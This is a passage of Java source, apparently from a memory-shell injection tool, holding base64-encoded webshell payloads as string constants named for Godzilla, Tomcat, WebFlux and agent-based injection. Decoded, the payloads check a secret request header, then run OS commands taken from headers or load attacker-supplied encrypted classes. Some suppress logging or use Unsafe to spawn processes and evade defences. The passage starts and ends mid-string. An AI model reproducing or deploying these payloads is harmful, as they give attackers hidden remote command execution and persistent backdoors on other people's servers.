XRpbC5CYXNlNjQiKTsKCQkJCQkJCU9iamVjdCBFbmNvZGVyID0gYmFzZTY0Mi5nZXRNZXRob2QoImdldEVuY29kZXIiLCBuZXcgQ2xhc3NbXXtudWxsfSkuaW52b2tlKG51bGwsIG5ldyBPYmplY3RbXXtudWxsfSk7CgkJCQkJCQlyZXN1bHQgPSAoU3RyaW5nKSBFbmNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJlbmNvZGVUb1N0cmluZyIsIG5ldyBDbGFzc1tde2J5dGVbXS5jbGFzc30pLmludm9rZShFbmNvZGVyLCBuZXcgT2JqZWN0W117dmFsdWV9KTsKCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJCQkJCXRyeSB7CgkJCQkJCQkJYmFzZTY0MiA9IENsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NEVuY29kZXIiKTsKCQkJCQkJCQlPYmplY3QgRW5jb2RlciA9IGJhc2U2NDIubmV3SW5zdGFuY2UoKTsKCQkJCQkJCQlyZXN1bHQgPSAoU3RyaW5nKSBFbmNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJlbmNvZGUiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3N9KS5pbnZva2UoRW5jb2RlciwgbmV3IE9iamVjdFtde3ZhbHVlfSk7CgkJCQkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJCQkJfQoJCQkJCQl9CgoJCQkJCQl3cml0ZXIud3JpdGUocmVzdWx0KTsKCQkJCQkJd3JpdGVyLndyaXRlKG1kNS5zdWJzdHJpbmcoMTYpKTsKCQkJCQkJd3JpdGVyLmZsdXNoKCk7CgkJCQkJCXdyaXRlci5jbG9zZSgpOwoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCQlyZXR1cm47CgkJCX0KCQl9"; - - public static String GODZILLA_SHELL_FOR_WEBFLUX = "ewogICAgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgc2IgPSAkMTsKICAgIG9yZy5zcHJpbmdmcmFtZXdvcmsudXRpbC5NdWx0aVZhbHVlTWFwIHZhbHVlTWFwID0gJDI7CiAgICBTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXNzICAgICA9IFBBU1M7CiAgICBTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtZDUgICAgICA9IG1kNShwYXNzICsgeGMpOwogICAgU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFzc1N0ciAgPSB2YWx1ZU1hcC5nZXRGaXJzdChwYXNzKS50b1N0cmluZygpOwogICAgdHJ5IHsKCSAgICBieXRlW10gZGF0YSA9IHgoYmFzZTY0RGVjb2RlKHBhc3NTdHIpLCBmYWxzZSk7CgkgICAgaWYgKHN0b3JlLmdldCgicGF5bG9hZCIpID09IG51bGwpIHsKCQkgICAgamF2YS5uZXQuVVJMQ2xhc3NMb2FkZXIgIHVybENsYXNzTG9hZGVyID0gbmV3IGphdmEubmV0LlVSTENsYXNzTG9hZGVyKG5ldyBqYXZhLm5ldC5VUkxbMF0sIFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCkpOwoJCSAgICBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZGVmTWV0aG9kICAgICAgPSBDbGFzc0xvYWRlci5jbGFzcy5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGludC5jbGFzcywgaW50LmNsYXNzfSk7CgkJICAgIGRlZk1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCSAgICBzdG9yZS5wdXQoInBheWxvYWQiLCAoQ2xhc3MpIGRlZk1ldGhvZC5pbnZva2UodXJsQ2xhc3NMb2FkZXIsIG5ldyBPYmplY3RbXXtkYXRhLCBJbnRlZ2VyLnZhbHVlT2YoMCksIEludGVnZXIudmFsdWVPZihkYXRhLmxlbmd0aCl9KSk7CgkgICAgfSBlbHNlIHsKCSAgICAJc3RvcmUucHV0KCJwYXJhbWV0ZXJzIiwgZGF0YSk7CgkJICAgIGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGFyck91dCA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCSAgICBPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBmICAgICAgPSAoKENsYXNzKSBzdG9yZS5nZXQoInBheWxvYWQiKSkubmV3SW5zdGFuY2UoKTsKCQkgICAgZi5lcXVhbHMoYXJyT3V0KTsKCQkgICAgZi5lcXVhbHMoZGF0YSk7CgkJICAgIHNiLmFwcGVuZChtZDUuc3Vic3RyaW5nKDAsIDE2KSk7CgkJICAgIGYudG9TdHJpbmcoKTsKCQkgICAgc2IuYXBwZW5kKGJhc2U2NEVuY29kZSh4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKSkpOwoJCSAgICBzYi5hcHBlbmQobWQ1LnN1YnN0cmluZygxNikpOwoJICAgIH0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICB9Cn0="; - - public static String GODZILLA_RAW_SHELL = "ewoJT2JqZWN0IHJlcSAgPSAkMTsKCU9iamVjdCByZXNwID0gJDI7Cgl0cnkgewoJCU9iamVjdCB2YWx1ZSA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRIZWFkZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117SEVBREVSX0tFWX0pOwoJCWlmICh2YWx1ZSAhPSBudWxsICYmIHZhbHVlLnRvU3RyaW5nKCkuY29udGFpbnMoSEVBREVSX1ZBTFVFKSkgewoJCQlub0xvZyhyZXEpOwoJCQlPYmplY3QgbGVuZ3RoID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldEhlYWRlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXsiQ29udGVudC1MZW5ndGgifSk7CgkJCWJ5dGVbXSBkYXRhID0gbmV3IGJ5dGVbSW50ZWdlci5wYXJzZUludChsZW5ndGgudG9TdHJpbmcoKSldOwoJCQlqYXZhLmlvLklucHV0U3RyZWFtIGlucHV0U3RyZWFtID0gKGphdmEuaW8uSW5wdXRTdHJlYW0pIGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRJbnB1dFN0cmVhbSIsIG51bGwsIG51bGwpOwoJCQlpbnQgX251bSA9IDA7CiAgICAgICAgICAgIHdoaWxlICgoX251bSArPSBpbnB1dFN0cmVhbS5yZWFkKGRhdGEsIF9udW0sIGRhdGEubGVuZ3RoKSkgPCBkYXRhLmxlbmd0aCkgOwoJCQlkYXRhID0geChkYXRhLCBmYWxzZSk7CgoJCQlpZiAocGF5bG9hZCA9PSBudWxsKSB7CgkJCQlqYXZhLm5ldC5VUkxDbGFzc0xvYWRlciB1cmxDbGFzc0xvYWRlciA9IG5ldyBqYXZhLm5ldC5VUkxDbGFzc0xvYWRlcihuZXcgamF2YS5uZXQuVVJMWzBdLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCAgICAgICAgIGRlZk1ldGhvZCAgICAgID0gQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJZGVmTWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQlwYXlsb2FkID0gKENsYXNzKSBkZWZNZXRob2QuaW52b2tlKHVybENsYXNzTG9hZGVyLCBuZXcgT2JqZWN0W117ZGF0YSwgSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZGF0YS5sZW5ndGgpfSk7CgkJCX0gZWxzZSB7CgkJCQlqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBhcnJPdXQgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICAgIGYgICAgICA9IHBheWxvYWQubmV3SW5zdGFuY2UoKTsKCQkJCWYuZXF1YWxzKGFyck91dCk7CgkJCQlmLmVxdWFscyhkYXRhKTsKCQkJCWYudG9TdHJpbmcoKTsKCQkJCU9iamVjdCBvcyA9IGdldE1ldGhvZEFuZEludm9rZShyZXNwLCAiZ2V0T3V0cHV0U3RyZWFtIiwgbnVsbCwgbnVsbCk7CgkJCQlnZXRNZXRob2RBbmRJbnZva2Uob3MsICJ3cml0ZSIsIG5ldyBDbGFzc1tde2J5dGVbXS5jbGFzc30sIG5ldyBPYmplY3RbXXt4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKX0pOwoJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKG9zLCAiZmx1c2giLCBudWxsLCBudWxsKTsKCQkJCWdldE1ldGhvZEFuZEludm9rZShvcywgImNsb3NlIiwgbnVsbCwgbnVsbCk7CgkJCX0KCQl9Cgl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJfQp9"; - - public static String GODZILLA_RAW_FOR_AGENT = "amF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVxdWVzdCkgJDE7CgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2UpICQyOwoJCUNsYXNzTG9hZGVyICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRlciAgICAgID0gdGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCk7CgkJU3RyaW5nIHBhdGhQYXR0ZXJuID0gIiVzIjsKCQlpZiAocmVxdWVzdC5nZXRSZXF1ZXN0VVJJKCkuY29udGFpbnMocGF0aFBhdHRlcm4pKSB7CgkJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiJXMiKS5lcXVhbHMoIiVzIikpIHsKCQkJCXRyeSB7CgkJCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgIGtleSAgICAgICAgPSAiJXMiOwoJCQkJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2Vzc2lvbiBzZXNzaW9uICAgICA9IHJlcXVlc3QuZ2V0U2Vzc2lvbigpOwoJCQkJCVN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICBsZW5ndGggICAgICA9IHJlcXVlc3QuZ2V0SGVhZGVyKCJDb250ZW50LUxlbmd0aCIpOwoJCQkJCWJ5dGVbXSAgICAgICAgICAgICAgICAgICAgICAgICBkYXRhICAgICAgICA9IG5ldyBieXRlW0ludGVnZXIucGFyc2VJbnQobGVuZ3RoKV07CgkJCQkJamF2YS5pby5JbnB1dFN0cmVhbSAgICAgICAgICAgIGlucHV0U3RyZWFtID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCQkJCWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICBfbnVtICAgICAgICA9IDA7CgkJCQkJd2hpbGUgKChfbnVtICs9IGlucHV0U3RyZWFtLnJlYWQoZGF0YSwgX251bSwgZGF0YS5sZW5ndGgpKSA8IGRhdGEubGVuZ3RoKSA7CgkJCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7CgkJCQkJYy5pbml0KDIsIG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKGtleS5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCVN5c3RlbS5vdXQucHJpbnRsbihkYXRhKTsKCQkJCQlkYXRhID0gYy5kb0ZpbmFsKGRhdGEpOwoJCQkJCVN5c3RlbS5vdXQucHJpbnRsbigxKTsKCQkJCQlpZiAoc2Vzc2lvbi5nZXRBdHRyaWJ1dGUoImd6cmF3IikgPT0gbnVsbCkgewoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZGVmaW5lTWV0aG9kID0gamF2YS5sYW5nLkNsYXNzTG9hZGVyLmNsYXNzLmdldERlY2xhcmVkTWV0aG9kKCJkZWZpbmVDbGFzcyIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzcywgamF2YS5uaW8uQnl0ZUJ1ZmZlci5jbGFzcywgamF2YS5zZWN1cml0eS5Qcm90ZWN0aW9uRG9tYWluLmNsYXNzfSk7CgkJCQkJCWRlZmluZU1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5Db25zdHJ1Y3RvciBjb25zdHJ1Y3RvciA9IGphdmEuc2VjdXJpdHkuU2VjdXJlQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcihuZXcgQ2xhc3NbXXtqYXZhLmxhbmcuQ2xhc3NMb2FkZXIuY2xhc3N9KTsKCQkJCQkJY29uc3RydWN0b3Iuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJamF2YS5sYW5nLkNsYXNzTG9hZGVyIGNsICAgID0gKGphdmEubGFuZy5DbGFzc0xvYWRlcikgY29uc3RydWN0b3IubmV3SW5zdGFuY2UobmV3IE9iamVjdFtde2xvYWRlcn0pOwoJCQkJCQlqYXZhLmxhbmcuQ2xhc3MgICAgICAgY2xhenogPSAoamF2YS5sYW5nLkNsYXNzKSBkZWZpbmVNZXRob2QuaW52b2tlKChqYXZhLmxhbmcuT2JqZWN0KSBjbCwgbmV3IE9iamVjdFtde251bGwsIGphdmEubmlvLkJ5dGVCdWZmZXIud3JhcChkYXRhKSwgbnVsbH0pOwoJCQkJCQlzZXNzaW9uLnNldEF0dHJpYnV0ZSgiZ3pyYXciLCBjbGF6eik7CgoJCQkJCQlTeXN0ZW0ub3V0LnByaW50bG4oY2xhenouZ2V0TmFtZSgpKTsKCQkJCQl9IGVsc2UgewoJCQkJCQlqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBhcnJPdXQgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCQkJT2JqZWN0ICAgICAgICAgICAgICAgICAgICAgICAgZiAgICAgID0gKChDbGFzcykgc2Vzc2lvbi5nZXRBdHRyaWJ1dGUoImd6cmF3IikpLm5ld0luc3RhbmNlKCk7CgkJCQkJCWYuZXF1YWxzKGFyck91dCk7CgkJCQkJCWYuZXF1YWxzKGRhdGEpOwoJCQkJCQlmLnRvU3RyaW5nKCk7CgoJCQkJCQlqYXZheC5zZXJ2bGV0LlNlcnZsZXRPdXRwdXRTdHJlYW0gcmVzcCA9IHJlc3BvbnNlLmdldE91dHB1dFN0cmVhbSgpOwoJCQkJCQljLmluaXQoMSwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoa2V5LmdldEJ5dGVzKCksICJBRVMiKSk7CgoJCQkJCQlyZXNwLndyaXRlKGMuZG9GaW5hbChhcnJPdXQudG9CeXRlQXJyYXkoKSkpOwoJCQkJCQlyZXNwLmZsdXNoKCk7CgkJCQkJCXJlc3AuY2xvc2UoKTsKCQkJCQl9CgkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJfQoJCQkJcmV0dXJuOwoJCQl9CgkJfQ=="; - - public static String CMD_SHELL_FOR_TOMCAT = "ewoJT2JqZWN0IHJlcSAgPSAkMTsKCU9iamVjdCByZXNwID0gJDI7CglPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxOwoJT2JqZWN0IGxhc3RSZXNwb25zZSA9IHJlc3A7Cgl0cnkgewoJCU9iamVjdCB2YWx1ZSA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRIZWFkZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117SEVBREVSX0tFWX0pOwoJCWlmICh2YWx1ZSAhPSBudWxsICYmIHZhbHVlLnRvU3RyaW5nKCkuY29udGFpbnMoSEVBREVSX1ZBTFVFKSkgewoJCQl0cnkgewoJCQkJQ2xhc3MgcmVxdWVzdEZhY2FkZUNsYXNzICA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUiLCB0cnVlLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCQkJQ2xhc3MgcmVzcG9uc2VGYWNhZGVDbGFzcyA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlc3BvbnNlRmFjYWRlIiwgdHJ1ZSwgVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSk7CgoJCQkJaWYgKCEocmVzcG9uc2VGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXNwb25zZS5nZXRDbGFzcygpKSkpIHsKCQkJCQlsYXN0UmVzcG9uc2UgPSBnZXRNZXRob2RBbmRJbnZva2UocmVzcCwgImdldFJlc3BvbnNlIiwgbnVsbCwgbnVsbCk7CgkJCQkJd2hpbGUgKHRydWUpIHsKCQkJCQkJaWYgKHJlc3BvbnNlRmFjYWRlQ2xhc3MuaXNBc3NpZ25hYmxlRnJvbShsYXN0UmVzcG9uc2UuZ2V0Q2xhc3MoKSkpIGJyZWFrOwoJCQkJCQlsYXN0UmVzcG9uc2UgPSBnZXRNZXRob2RBbmRJbnZva2UobGFzdFJlc3BvbnNlLCAiZ2V0UmVzcG9uc2UiLCBudWxsLCBudWxsKTsKCQkJCQl9CgkJCQl9CgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCX0KCQkJbm9Mb2cocmVxKTsKCgkJCU9iamVjdCBoZWFkZXIgPSBnZXRNZXRob2RBbmRJbnZva2UocmVxLCAiZ2V0SGVhZGVyIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSwgbmV3IE9iamVjdFtde0NNRF9IRUFERVJ9KTsKCQkJT2JqZWN0IHdyaXRlciA9IGdldE1ldGhvZEFuZEludm9rZShyZXNwLCAiZ2V0V3JpdGVyIiwgbnVsbCwgbnVsbCk7CgoJCQlpZiAoaGVhZGVyICE9IG51bGwgJiYgIWhlYWRlci50b1N0cmluZygpLmlzRW1wdHkoKSkgewoJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHdyaXRlciwgIndyaXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSwgbmV3IE9iamVjdFtde25ldyBTdHJpbmcoZXhlY0NtZChoZWFkZXIudG9TdHJpbmcoKSkudG9CeXRlQXJyYXkoKSl9KTsKCQkJfQoKCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHdyaXRlciwgImZsdXNoIiwgbnVsbCwgbnVsbCk7CgkJCWdldE1ldGhvZEFuZEludm9rZSh3cml0ZXIsICJjbG9zZSIsIG51bGwsIG51bGwpOwoJCX0KCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7Cgl9Cn0="; - - public static String CMD_SHELL = "ewoJCQlPYmplY3QgcmVxICAgICA9ICQxOwoJCQlPYmplY3QgcmVzcCAgICA9ICQyOwoJCQlPYmplY3QgdmFsdWUgPSBnZXRNZXRob2RBbmRJbnZva2UocmVxLCAiZ2V0SGVhZGVyIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSwgbmV3IE9iamVjdFtde0hFQURFUl9LRVl9KTsKCQkJaWYgKHZhbHVlICE9IG51bGwgJiYgdmFsdWUudG9TdHJpbmcoKS5jb250YWlucyhIRUFERVJfVkFMVUUpKSB7CgkJCQlPYmplY3QgaGVhZGVyID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldEhlYWRlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtDTURfSEVBREVSfSk7CgkJCQlPYmplY3Qgd3JpdGVyID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlc3AsICJnZXRXcml0ZXIiLCBudWxsLCBudWxsKTsKCgkJCQlpZiAoaGVhZGVyICE9IG51bGwgJiYgIWhlYWRlci50b1N0cmluZygpLmlzRW1wdHkoKSkgewoJCQkJCWdldE1ldGhvZEFuZEludm9rZSh3cml0ZXIsICJ3cml0ZSIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtuZXcgU3RyaW5nKGV4ZWNDbWQoaGVhZGVyLnRvU3RyaW5nKCkpLnRvQnl0ZUFycmF5KCkpfSk7CgkJCQl9CgoJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHdyaXRlciwgImZsdXNoIiwgbnVsbCwgbnVsbCk7CgkJCQlnZXRNZXRob2RBbmRJbnZva2Uod3JpdGVyLCAiY2xvc2UiLCBudWxsLCBudWxsKTsKCQkJfQoJCX0="; - - public static String CMD_SHELL_FOR_AGENT = "amF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVxdWVzdCkgJDE7CgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2UpICQyOwoJCVN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhdGhQYXR0ZXJuID0gIiVzIjsKCQlpZiAocmVxdWVzdC5nZXRSZXF1ZXN0VVJJKCkuY29udGFpbnMocGF0aFBhdHRlcm4pKSB7CgkJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiJXMiKS5lcXVhbHMoIiVzIikpIHsKCQkJCXRyeSB7CgkJCQkJU3RyaW5nIGNtZCA9IHJlcXVlc3QuZ2V0SGVhZGVyKCIlcyIpOwoJCQkJCWlmIChjbWQgIT0gbnVsbCAmJiAhIiIuZXF1YWxzKGNtZCkpIHsKCgkJCQkJCXN1bi5taXNjLlVuc2FmZSB1bnNhZmUgPSBudWxsOwoJCQkJCQl0cnkgewoJCQkJCQkJaWYgKENsYXNzLmZvck5hbWUobmV3IFRocm93YWJsZSgpLmdldFN0YWNrVHJhY2UoKVsxXS5nZXRDbGFzc05hbWUoKSkuZ2V0Q2xhc3NMb2FkZXIoKSA9PSBudWxsKSB7CgkJCQkJCQkJdW5zYWZlID0gc3VuLm1pc2MuVW5zYWZlLmdldFVuc2FmZSgpOwoJCQkJCQkJfQoJCQkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJCQl9CgoJCQkJCQlpZiAodW5zYWZlID09IG51bGwpIHsKCQkJCQkJCXRyeSB7CgkJCQkJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgZ3NvbkNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuVW5zYWZlUmVmbGVjdGlvbkFjY2Vzc29yIik7CgkJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQgICAgID0gZ3NvbkNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOwoJCQkJCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOwoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoKCQkJCQkJaWYgKHVuc2FmZSA9PSBudWxsKSB7CgkJCQkJCQl0cnkgewoJCQkJCQkJCUNsYXNzICAgICAgICAgICAgICAgICAgIG5ldHR5Q2xhc3MgPSBDbGFzcy5mb3JOYW1lKCJpby5uZXR0eS51dGlsLmludGVybmFsLnNoYWRlZC5vcmcuamN0b29scy51dGlsLlVuc2FmZUFjY2VzcyIpOwoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIGZpZWxkICAgICAgPSBuZXR0eUNsYXNzLmdldERlY2xhcmVkRmllbGQoIlVOU0FGRSIpOwoJCQkJCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOwoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoKCQkJCQkJaWYgKHVuc2FmZSA9PSBudWxsKSB7CgkJCQkJCQl0cnkgewoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIHRoZVVuc2FmZUZpZWxkID0gc3VuLm1pc2MuVW5zYWZlLmNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOwoJCQkJCQkJCXRoZVVuc2FmZUZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgdGhlVW5zYWZlRmllbGQuZ2V0KG51bGwpOwoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoKCQkJCQkJU3RyaW5nW10gICAgICAgICAgICAgICAgICAgICAgY21kcyAgICAgICAgICA9IG51bGw7CgkJCQkJCUNsYXNzICAgICAgICAgICAgICAgICAgICAgICAgIHByb2Nlc3NDbGFzcyAgPSBudWxsOwoJCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzT2JqZWN0ID0gbnVsbDsKCQkJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYmFvcyAgICAgICAgICA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJCQlpZiAoU3lzdGVtLmdldFByb3BlcnR5KCJvcy5uYW1lIikudG9Mb3dlckNhc2UoKS5jb250YWlucygid2luIikpIHsKCQkJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117ImNtZCIsICIvYyIsIGNtZH07CgkJCQkJCQlwcm9jZXNzQ2xhc3MgPSBDbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuUHJvY2Vzc0ltcGwiKTsKCQkJCQkJCXByb2Nlc3NPYmplY3QgPSB1bnNhZmUuYWxsb2NhdGVJbnN0YW5jZShwcm9jZXNzQ2xhc3MpOwoJCQkJCQkJbG9uZ1tdICAgICAgICAgICAgICAgICBzdGRIYW5kbGVzID0gbmV3IGxvbmdbXXstMUwsIC0xTCwgLTFMfTsKCQkJCQkJCWphdmEuaW8uRmlsZURlc2NyaXB0b3Igc3Rkb3V0X2ZkICA9IG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCk7CgkJCQkJCQlTdHJpbmdCdWlsZGVyICAgICAgICAgIHNiICAgICAgICAgPSBuZXcgU3RyaW5nQnVpbGRlcigpOwoKCQkJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgY21kcy5sZW5ndGg7IGkrKykgewoJCQkJCQkJCXNiLmFwcGVuZChjbWRzW2ldKS5hcHBlbmQoIiAiKTsKCQkJCQkJCX0KCgkJCQkJCQl0cnkgewoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QyID0gcHJvY2Vzc09iamVjdC5nZXRDbGFzcygpLmdldERlY2xhcmVkTWV0aG9kKCJjcmVhdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgU3RyaW5nLmNsYXNzLCBib29sZWFuLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kMi5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCW1ldGhvZDIuaW52b2tlKHByb2Nlc3NPYmplY3QsIG5ldyBPYmplY3RbXXtzYi50b1N0cmluZygpLnRyaW0oKSwgbnVsbCwgbnVsbCwgamF2YS5sYW5nLkJvb2xlYW4uRkFMU0UsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCksIHN0ZG91dF9mZCwgbmV3IGphdmEuaW8uRmlsZURlc2NyaXB0b3IoKX0pOwoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCgkJCQkJCQkJamF2YS5sYW5nLnJlZmxl